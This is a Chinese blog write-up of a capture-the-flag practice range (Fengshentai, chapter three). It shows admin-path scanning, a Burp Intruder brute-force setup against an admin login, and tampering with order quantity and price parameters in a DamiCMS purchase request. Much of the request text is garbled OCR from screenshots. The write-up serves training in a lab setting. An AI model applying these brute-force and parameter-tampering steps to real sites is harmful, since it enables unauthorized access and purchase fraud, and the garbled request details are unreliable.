封神台靶场-第三章

原创



封神台-第三章 专栏收录该内容

1 篇文章 0 订阅 订阅专栏

第三章:爆破管理员账户登录后台

使用工具: 御剑后台扫描, burpsuit

进入网站后想进入管理后台页面,试着在url地址后加/admin常试结果成功了,如果不成功再用工具扫描如下:

域名:	59. 63. 200. 79:8004		开始扫描	停止扫描	
线程: 超时:	: 33 ~ (条 CPU核心 * 5最佳) ✓ DIR: 1153	ASPX: 822 PHP: 1066 JSP: 631		 ✓ 探测200 □ 探测403 □ 探测3XX 	
描信則	a:扫描完成		扫描线程:0	扫描速度: 0/和	少
ID	地址			HTTP响 <u>应</u>	
9	http://59.63.200.79:8004/error.asp			200	
0	http://59.63.200.79:8004/search.asp			200	
1	http://59.63.200.79:8004/shownews.asp			200	
2	http://59.63.200.79:8004/vote.asp			200	
3	http://59.63.200.79:8004/help.asp			200	
4	http://59.63.200.79:8004/inc/foot.asp		1	200	
5	http://59.63.200.79:8004/upload_other.asp			200	
6	http://59.63.200.79:8004/download.asp			200	
7	http://59.63.200.79:8004/Index.asp			200	
8	http://59.63.200.79:8004/GetPassword.asp			200	
9	http://59.63.200.79:8004/Image.asp			200	
0	http://59.63.200.79:8004/ShowNews.asp			200	
1	http://59.63.200.79:8004/Upload_Dialog.asp			200	
2	http://59.63.200.79:8004/Upfile_Dialog.asp			200	
3	http://59.63.200.79:8004/Upfile_Product.asp	1		200	
4	http://59.63.200.79:8004/admin/Southidoeditor/ewebeditor.asp			200	
5	http://59.63.200.79:8004/admin/SouthideEditor/PopUp.asp			200	
5	http://59.63.200.7918004/admin/admin.asp			200	
0	http://59.65.200.0910004/admin/cdnn.asp			200	

登陆后台后使用bp暴力破解模块爆破账户密码(这里我们知道账号密码就不具体演示了):

Target Positions Payloads Options									
Payload Positions									
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.									
Attack type: Cluster bomb									
POST/admin/Admin ChkLogin.asp HTP/1.1									

Host: 59 63 200 79 8004 Usar-Agent: Mc2lla/5 0 (Wndows NT 10 0; Wn64; x64; vr.78.0) Gecko/20100101 Firefox/78.0 Accept: Lest/html,application/xhmi+xml,application/xml,q=0.9,imsge/webp; /*,q=0.8 Accept:Encoding: gzb, deltate Content:-Type: application/xwww.form-urtencoded Content:-Length: 73 Origin: http://58.53.200.79.8004 Content:Type: application/stml+xml, T3 Origin: http://58.53.200.79.8004 Content:Type: application/stml+xml,application/xml,q=0.5,en.US,q=0.3,en,q=0.2 Content:-Length: 73 Origin: http://58.53.200.79.8004 Content:Type: application/stml+xml, T3 Origin: http://stml+xml, T3 Origin: http://stml+x	NDAARTSDBR=JKGNGMPBNJINBOCBJKNJBDC;
	https://blog.csdn.net/Mr_helloword

3.使用bp修改数量价格

						400-8	800-888	请输入关	键问
网站首页	关于我们	新闻中心	产品展示	工程案例	招	聘信息	在线留言	售后服务	
你的位置:首页	ī > 用户下单								
订单列表									
编号	名称					型号	数量	单价	小计
69		大米CMS手机开发	发专版			灰色	1	5400	5400
送货地址(可修	改)								
姓名	手机		区域			详	田地址	https://blog	付款方式 .csdn.net/Mr_hellow

🚯 Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz – 🗆 🔿											
Burp Project Intruder Repeater Window Help											
Dashboard Target Proxy Intruder Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options					
Intercept HTTP history WebSockets history Options											
Request to http://192.168.1.200:80											
Forward Drop Intercept is on Action											
Raw Params Headers Hex											
Raw Params Headers Hex POST /dami_5.4/dami_5.4/index.php?s=/member/dobuy.html HTTP/1.1 Host: 192.168.1.200 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 398 DNT: 1 Connection: close Referer: http://192.168.1.200/dami_5.4/dami_5.4/index.php?matNember&a=gobuy&iscart=0&id=69&name=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6 %9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&qty=1&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/dami_5.4/dami_5.4/Pu blic/Uploads/thumb/thumb_1393206337.jpg Cookie: PHPSESSID=ef4kg4gfg6pi6g3@inogt0jm6; BkGOp95780_think_template=default											

id%5B%5D=69&pic%5B%50=%2Fdami_5.4%2Fdami_5.4%2FPublic%2FUploads%2Fthumb%2Fthumb_1393206337.jpg&name%5B%5D=%E5%A4%A 7%E7%B1%B3CMS%_26%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88>ype%5B%5D=%E7%81%B0%E8%89%B 2&qty%5B%5D=1&price%5B%5D=5400&realname=ggg&tel=1777777777&province=%E6%B2%B3%E5%8C%97&city=%E8%A1%A1%E6%B0%B4% E5%B8%82&area=%E6%B7%B1%E5%B7%9E%E5%B8%82&address=xsl&trade_type=3&iscart=0

flag

竟然成功进入了后台!拿走通关KEY,迎接下一关吧! zkz{welcome-control}

https://blog.csdn.net/Mr_helloword